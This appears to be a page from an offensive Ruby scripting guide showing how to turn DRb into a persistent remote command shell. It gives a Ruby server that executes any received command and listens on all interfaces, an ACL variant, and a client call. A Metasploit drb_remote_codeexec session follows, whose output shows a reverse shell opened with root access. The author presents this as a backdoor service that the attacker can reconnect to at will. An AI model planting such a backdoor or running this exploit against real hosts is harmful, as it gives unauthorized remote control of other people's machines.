DRb allows Ruby programs to communicate with each other on the same machine or over a network. DRb uses remote method invocation (RMI) to pass commands and data between processes.
#!/usr/bin/env rubyrequire 'drb'​class RShelldef exec(cmd)`#{cmd}`endend​DRb.start_service("druby://0.0.0.0:8080", RShell.new)DRb.thread.join
Note: It works on all OS platforms
The drb
lib supports ACL to prevent/allow particular IP addresses. ex.
#!/usr/bin/env rubyrequire 'drb'​class RShelldef exec(cmd)`#{cmd}`endend​# Access Listacl = ACL.new(%w{deny allallow localhostallow 192.168.1.*})DRb.install_acl(acl)DRb.start_service("druby://0.0.0.0:8080", RShell.new)DRb.thread.join
rshell = DRbObject.new_with_uri("druby://192.168.0.13:8080")puts rshell.exec "id"
Or you can use a Metasploit module to get an elegant shell!
msf > use exploit/linux/misc/drb_remote_codeexecmsf exploit(drb_remote_codeexec) > set URI druby://192.168.0.13:8080uri => druby://192.168.0.13:8080msf exploit(drb_remote_codeexec) > exploit​[*] Started reverse double handler[*] trying to exploit instance_eval[*] Accepted the first client connection...[*] Accepted the second client connection...[*] Command: echo UAR3ld0Uqnc03yNy;[*] Writing to socket A[*] Writing to socket B[*] Reading from sockets...[*] Reading from socket A[*] A: "UAR3ld0Uqnc03yNy\r\n"[*] Matching...[*] B is input...[*] Command shell session 2 opened (192.168.0.18:4444 -> 192.168.0.13:57811) at 2015-12-24 01:11:30 +0300​pwd/rootiduid=0(root) gid=0(root) groups=0(root)
As you can see, even you loose the session you can connect again and again; it's a service, remember?
Note: For using a Metasploit module only, you don't need even the RShell class. You just need the following on the target side.
#!/usr/bin/env rubyrequire 'drb'DRb.start_service("druby://0.0.0.0:8080", []).thread.join
I recommend to use the first code in case Metasploit is not available.
References
​dRuby book​